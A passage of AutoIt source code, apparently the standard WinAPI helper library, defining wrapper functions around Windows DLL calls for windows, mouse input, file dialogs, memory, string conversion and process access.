@extended, 0) Return $aresult[0] EndFunc Func _winapi_getforegroundwindow() Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getguiresources($iflag = 0, $hprocess = -1) If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess() Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_geticoninfo($hicon) Local $tinfo = DllStructCreate($tagiconinfo) DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "ptr", DllStructGetPtr($tinfo)) If @error Then Return SetError(@error, @extended, 0) Local $aicon[6] $aicon[0] = True $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0 $aicon[2] = DllStructGetData($tinfo, "XHotSpot") $aicon[3] = DllStructGetData($tinfo, "YHotSpot") $aicon[4] = DllStructGetData($tinfo, "hMask") $aicon[5] = DllStructGetData($tinfo, "hColor") Return $aicon EndFunc Func _winapi_getfilesizeex($hfile) Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0) If @error Then Return SetError(@error, @extended, 0) Return $aresult[2] EndFunc Func _winapi_getlasterrormessage() Local $tbufferptr = DllStructCreate("ptr") Local $pbufferptr = DllStructGetPtr($tbufferptr) Local $ncount = _winapi_formatmessage(BitOR($__winapiconstant_format_message_allocate_buffer, $__winapiconstant_format_message_from_system), 0, _winapi_getlasterror(), 0, $pbufferptr, 0, 0) If @error Then Return SetError(@error, 0, "") Local $stext = "" Local $pbuffer = DllStructGetData($tbufferptr, 1) If $pbuffer Then If $ncount > 0 Then Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer) $stext = DllStructGetData($tbuffer, 1) EndIf _winapi_localfree($pbuffer) EndIf Return $stext EndFunc Func _winapi_getlayeredwindowattributes($hwnd, ByRef $i_transcolor, ByRef $transparency, $ascolorref = False) $i_transcolor = -1 $transparency = -1 Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "dword*", $i_transcolor, "byte*", $transparency, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) If NOT $ascolorref Then $aresult[2] = Hex(String($aresult[2]), 6) $aresult[2] = "0x" & StringMid($aresult[2], 5, 2) & StringMid($aresult[2], 3, 2) & StringMid($aresult[2], 1, 2) EndIf $i_transcolor = $aresult[2] $transparency = $aresult[3] Return $aresult[4] EndFunc Func _winapi_getmodulehandle($smodulename) Local $smodulenametype = "wstr" If $smodulename = "" Then $smodulename = 0 $smodulenametype = "ptr" EndIf Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getmousepos($ftoclient = False, $hwnd = 0) Local $imode = Opt("MouseCoordMode", 1) Local $apos = MouseGetPos() Opt("MouseCoordMode", $imode) Local $tpoint = DllStructCreate($tagpoint) DllStructSetData($tpoint, "X", $apos[0]) DllStructSetData($tpoint, "Y", $apos[1]) If $ftoclient Then _winapi_screentoclient($hwnd, $tpoint) If @error Then Return SetError(@error, @extended, 0) EndIf Return $tpoint EndFunc Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0) Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($tpoint, "X") EndFunc Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0) Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($tpoint, "Y") EndFunc Func _winapi_getobject($hobject, $isize, $pobject) Local $aresult = DllCall("gdi32.dll", "int", "GetObject", "handle", $hobject, "int", $isize, "ptr", $pobject) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0) Local $ipathlen = 4096 Local $inulls = 0 Local $tofn = DllStructCreate($tagopenfilename) Local $afiles[1] = [0] Local $iflag = $iflags Local $asflines = StringSplit($sfilter, "|") Local $asfilter[$asflines[0] * 2 + 1] Local $istart, $ifinal, $stfilter $asfilter[0] = $asflines[0] * 2 For $i = 1 To $asflines[0] $istart = StringInStr($asflines[$i], "(", 0, 1) $ifinal = StringInStr($asflines[$i], ")", 0, -1) $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3) $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3) $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];" Next Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]") Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]") Local $tfilter = DllStructCreate($stfilter & "wchar") Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]") Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]") For $i = 1 To $asfilter[0] DllStructSetData($tfilter, $i, $asfilter[$i]) Next DllStructSetData($ttitle, "Title", $stitle) DllStructSetData($tinitialdir, "InitDir", $sinitaldir) DllStructSetData($tpath, "Path", $sdefaultfile) DllStructSetData($textn, "Extension", $sdefaultext) DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn)) DllStructSetData($tofn, "hwndOwner", $hwndowner) DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter)) DllStructSetData($tofn, "nFilterIndex", $ifilterindex) DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath)) DllStructSetData($tofn, "nMaxFile", $ipathlen) DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir)) DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle)) DllStructSetData($tofn, "Flags", $iflag) DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn)) DllStructSetData($tofn, "FlagsEx", $iflagsex) DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "ptr", DllStructGetPtr($tofn)) If @error Then Return SetError(@error, @extended, $afiles) If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then For $x = 1 To $ipathlen If DllStructGetData($tpath, "Path", $x) = Chr(0) Then DllStructSetData($tpath, "Path", "|", $x) $inulls += 1 Else $inulls = 0 EndIf If $inulls = 2 Then ExitLoop Next DllStructSetData($tpath, "Path", Chr(0), $x - 1) $afiles = StringSplit(DllStructGetData($tpath, "Path"), "|") If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) Return StringSplit(DllStructGetData($tpath, "Path"), "|") ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then $afiles = StringSplit(DllStructGetData($tpath, "Path"), " ") If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|") Else Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) EndIf EndFunc Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $fwait = False) Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $fwait) If @error Then Return SetError(@error, @extended, False) $ibytes = $aresult[3] Return $aresult[0] EndFunc Func _winapi_getparent($hwnd) Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getprocessaffinitymask($hprocess) Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0) If @error Then Return SetError(@error, @extended, 0) Local $amask[3] $amask[0] = True $amask[1] = $aresult[2] $amask[2] = $aresult[3] Return $amask EndFunc Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0) Local $ipathlen = 4096 Local $tofn = DllStructCreate($tagopenfilename) Local $afiles[1] = [0] Local $iflag = $iflags Local $asflines = StringSplit($sfilter, "|") Local $asfilter[$asflines[0] * 2 + 1] Local $istart, $ifinal, $stfilter $asfilter[0] = $asflines[0] * 2 For $i = 1 To $asflines[0] $istart = StringInStr($asflines[$i], "(", 0, 1) $ifinal = StringInStr($asflines[$i], ")", 0, -1) $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3) $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3) $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];" Next Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]") Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]") Local $tfilter = DllStructCreate($stfilter & "wchar") Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]") Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]") For $i = 1 To $asfilter[0] DllStructSetData($tfilter, $i, $asfilter[$i]) Next DllStructSetData($ttitle, "Title", $stitle) DllStructSetData($tinitialdir, "InitDir", $sinitaldir) DllStructSetData($tpath, "Path", $sdefaultfile) DllStructSetData($textn, "Extension", $sdefaultext) DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn)) DllStructSetData($tofn, "hwndOwner", $hwndowner) DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter)) DllStructSetData($tofn, "nFilterIndex", $ifilterindex) DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath)) DllStructSetData($tofn, "nMaxFile", $ipathlen) DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir)) DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle)) DllStructSetData($tofn, "Flags", $iflag) DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn)) DllStructSetData($tofn, "FlagsEx", $iflagsex) DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "ptr", DllStructGetPtr($tofn)) If @error Then Return SetError(@error, @extended, $afiles) Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) EndFunc Func _winapi_getstockobject($iobject) Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getstdhandle($istdhandle) If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1) Local Const $ahandle[3] = [-10, -11, -12] Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle]) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_getsyscolor($iindex) Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getsyscolorbrush($iindex) Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getsystemmetrics($iindex) Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_gettextextentpoint32($hdc, $stext) Local $tsize = DllStructCreate($tagsize) Local $isize = StringLen($stext) DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "ptr", DllStructGetPtr($tsize)) If @error Then Return SetError(@error, @extended, 0) Return $tsize EndFunc Func _winapi_getwindow($hwnd, $icmd) Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowdc($hwnd) Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowheight($hwnd) Local $trect = _winapi_getwindowrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top") EndFunc Func _winapi_getwindowlong($hwnd, $iindex) Local $sfuncname = "GetWindowLongW" If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW" Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowplacement($hwnd) Local $twindowplacement = DllStructCreate($tagwindowplacement) DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement)) Local $pwindowplacement = DllStructGetPtr($twindowplacement) DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement) If @error Then Return SetError(@error, @extended, 0) Return $twindowplacement EndFunc Func _winapi_getwindowrect($hwnd) Local $trect = DllStructCreate($tagrect) DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "ptr", DllStructGetPtr($trect)) If @error Then Return SetError(@error, @extended, 0) Return $trect EndFunc Func _winapi_getwindowrgn($hwnd, $hrgn) Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowtext($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096) If @error Then Return SetError(@error, @extended, "") Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid) Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) $ipid = $aresult[2] Return $aresult[0] EndFunc Func _winapi_getwindowwidth($hwnd) Local $trect = _winapi_getwindowrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left") EndFunc Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy) $ix = DllStructGetData($tpoint, "X") $iy = DllStructGetData($tpoint, "Y") EndFunc Func _winapi_globalmemorystatus() Local $tmem = DllStructCreate($tagmemorystatusex) Local $pmem = DllStructGetPtr($tmem) Local $imem = DllStructGetSize($tmem) DllStructSetData($tmem, 1, $imem) DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $pmem) If @error Then Return SetError(@error, @extended, 0) Local $amem[7] $amem[0] = DllStructGetData($tmem, 2) $amem[1] = DllStructGetData($tmem, 3) $amem[2] = DllStructGetData($tmem, 4) $amem[3] = DllStructGetData($tmem, 5) $amem[4] = DllStructGetData($tmem, 6) $amem[5] = DllStructGetData($tmem, 7) $amem[6] = DllStructGetData($tmem, 8) Return $amem EndFunc Func _winapi_guidfromstring($sguid) Local $tguid = DllStructCreate($tagguid) _winapi_guidfromstringex($sguid, DllStructGetPtr($tguid)) If @error Then Return SetError(@error, @extended, 0) Return $tguid EndFunc Func _winapi_guidfromstringex($sguid, $pguid) Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "ptr", $pguid) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_hiword($ilong) Return BitShift($ilong, 16) EndFunc Func _winapi_inprocess($hwnd, ByRef $hlastwnd) If $hwnd = $hlastwnd Then Return True For $ii = $__gainprocess_winapi[0][0] To 1 Step -1 If $hwnd = $__gainprocess_winapi[$ii][0] Then If $__gainprocess_winapi[$ii][1] Then $hlastwnd = $hwnd Return True Else Return False EndIf EndIf Next Local $iprocessid _winapi_getwindowthreadprocessid($hwnd, $iprocessid) Local $icount = $__gainprocess_winapi[0][0] + 1 If $icount >= 64 Then $icount = 1 $__gainprocess_winapi[0][0] = $icount $__gainprocess_winapi[$icount][0] = $hwnd $__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID) Return $__gainprocess_winapi[$icount][1] EndFunc Func _winapi_inttofloat($iint) Local $tint = DllStructCreate("int") Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint)) DllStructSetData($tint, 1, $iint) Return DllStructGetData($tfloat, 1) EndFunc Func _winapi_isclassname($hwnd, $sclassname) Local $sseparator = Opt("GUIDataSeparatorChar") Local $aclassname = StringSplit($sclassname, $sseparator) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $sclasscheck = _winapi_getclassname($hwnd) For $x = 1 To UBound($aclassname) - 1 If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True Next Return False EndFunc Func _winapi_iswindow($hwnd) Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_iswindowvisible($hwnd) Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_invalidaterect($hwnd, $trect = 0, $ferase = True) Local $prect = 0 If IsDllStruct($trect) Then $prect = DllStructGetPtr($trect) Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "ptr", $prect, "bool", $ferase) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_lineto($hdc, $ix, $iy) Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_loadbitmap($hinstance, $sbitmap) Local $sbitmaptype = "int" If IsString($sbitmap) Then $sbitmaptype = "wstr" Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload) Local $aresult, $simagetype = "int" If IsString($simage) Then $simagetype = "wstr" $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadlibrary($sfilename) Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadlibraryex($sfilename, $iflags = 0) Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadshell32icon($iiconid) Local $ticons = DllStructCreate("ptr Data") Local $picons = DllStructGetPtr($ticons) Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $picons, 1) If @error Then Return SetError(@error, @extended, 0) If $iicons <= 0 Then Return SetError(1, 0, 0) Return DllStructGetData($ticons, "Data") EndFunc Func _winapi_loadstring($hinstance, $istringid) Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096) If @error Then Return SetError(@error, @extended, "") Return SetExtended($aresult[0], $aresult[3]) EndFunc Func _winapi_localfree($hmem) Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_loword($ilong) Return BitAND($ilong, 65535) EndFunc Func _winapi_makelangid($lgidprimary, $lgidsub) Return BitOR(BitShift($lgidsub, -10), $lgidprimary) EndFunc Func _winapi_makelcid($lgid, $srtid) Return BitOR(BitShift($srtid, -16), $lgid) EndFunc Func _winapi_makelong($ilo, $ihi) Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535)) EndFunc Func _winapi_makeqword($lodword, $hidword) Local $tint64 = DllStructCreate("uint64") Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64)) DllStructSetData($tdwords, 1, $lodword) DllStructSetData($tdwords, 2, $hidword) Return DllStructGetData($tint64, 1) EndFunc Func _winapi_messagebeep($itype = 1) Local $isound Switch $itype Case 1 $isound = 0 Case 2 $isound = 16 Case 3 $isound = 32 Case 4 $isound = 48 Case 5 $isound = 64 Case Else $isound = -1 EndSwitch Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_msgbox($iflags, $stitle, $stext) BlockInput(0) MsgBox($iflags, $stitle, $stext & " ") EndFunc Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0) DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo) If @error Then Return SetError(@error, @extended) EndFunc Func _winapi_moveto($hdc, $ix, $iy) Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $frepaint = True) Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $frepaint) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_muldiv($inumber, $inumerator, $idenominator) Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False) Local $stexttype = "ptr", $ptext = $stext If IsDllStruct($stext) Then $ptext = DllStructGetPtr($stext) Else If NOT IsPtr($stext) Then $stexttype = "STR" EndIf Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $ptext, "int", -1, "ptr", 0, "int", 0) If @error Then Return SetError(@error, @extended, 0) Local $iout = $aresult[0] Local $tout = DllStructCreate("wchar[" & $iout & "]") Local $pout = DllStructGetPtr($tout) $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $ptext, "int", -1, "ptr", $pout, "int", $iout) If @error Then Return SetError(@error, @extended, 0) If $bretstring Then Return DllStructGetData($tout, 1) Return $tout EndFunc Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0) Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "ptr", $ptext, "int", (StringLen($stext) + 1) * 2) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False) Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return $aresult[0] If NOT $fdebugpriv Then Return 0 Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query)) If @error Then Return SetError(@error, @extended, 0) _security__setprivilege($htoken, "SeDebugPrivilege", True) Local $ierror = @error Local $ilasterror = @extended Local $iret = 0 If NOT @error Then $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid) $ierror = @error $ilasterror = @extended If $aresult[0] Then $iret = $aresult[0] _security__setprivilege($htoken, "SeDebugPrivilege", False) If @error Then $ierror = @error $ilasterror = @extended EndIf EndIf _winapi_closehandle($htoken) Return SetError($ierror, $ilasterror, $iret) EndFunc Func __winapi_parsefiledialogpath($spath) Local $afiles[3] $afiles[0] = 2 Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1) $afiles[1] = $stemp $afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1) Return $afiles EndFunc Func _winapi_pathfindonpath(Const $szfile, $aextrapaths = "", Const $szpathdelimiter = @LF) Local $iextracount = 0 If IsString($aextrapaths) Then If StringLen($aextrapaths) Then $aextrapaths = StringSplit($aextrapaths, $szpathdelimiter, 1 + 2) $iextracount = UBound($aextrapaths, 1) EndIf ElseIf IsArray($aextrapaths) Then $iextracount = UBound($aextrapaths) EndIf Local $tpaths, $tpathptrs If $iextracount Then Local $szstruct = "" For $path In $aextrapaths $szstruct &= "wchar[" & StringLen($path) + 1 & "];" Next $tpaths = DllStructCreate($szstruct) $tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]") For $i = 1 To $iextracount DllStructSetData($tpaths, $i, $aextrapaths[$i - 1]) DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i) Next DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1) EndIf Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $szfile, "ptr", DllStructGetPtr($tpathptrs)) If @error Then Return SetError(@error, @extended, False) If $aresult[0] = 0 Then Return SetError(1, 0, $szfile) Return $aresult[1] EndFunc Func _winapi_pointfromrect(ByRef $trect, $fcenter = True) Local $ix1 = DllStructGetData($trect, "Left") Local $iy1 = DllStructGetData($trect, "Top") Local $ix2 = DllStructGetData($trect, "Right") Local $iy2 = DllStructGetData($trect, "Bottom") If $fcenter Then $ix1 = $ix1 + (($ix2 - $ix1) / 2) $iy1 = $iy1 + (($iy2 - $iy1) / 2) EndIf Local $tpoint = DllStructCreate($tagpoint) DllStructSetData($tpoint, "X", $ix1) DllStructSetData($tpoint, "Y", $iy1) Return $tpoint EndFunc Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam) Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_primarylangid($lgid) Return BitAND($lgid, 1023) EndFunc Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint) Local $ix = DllStructGetData($tpoint, "X") Local $iy = DllStructGetData($tpoint, "Y") Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "ptr", DllStructGetPtr($trect), "long", $ix, "long", $iy) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0) Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped) If @error Then Return SetError(@error, @extended, False) $iread = $aresult[4] Return $aresult[0] EndFunc Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread) Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0) If @error Then Return SetError(@error, @extended, False) $iread = $aresult[5] Return $aresult[0] EndFunc Func _winapi_rectisempty(ByRef $trect) Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0) EndFunc Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5) Local $prect = 0 If $trect <> 0 Then $prect = DllStructGetPtr($trect) Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "ptr", $prect, "handle", $hregion, "uint", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_registerwindowmessage($smessage) Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_releasecapture() Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture") If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_releasedc($hwnd, $hdc) Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_screentoclient($hwnd, ByRef $tpoint) Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "ptr", DllStructGetPtr($tpoint)) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_selectobject($hdc, $hgdiobj) Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj) If @error Then Return 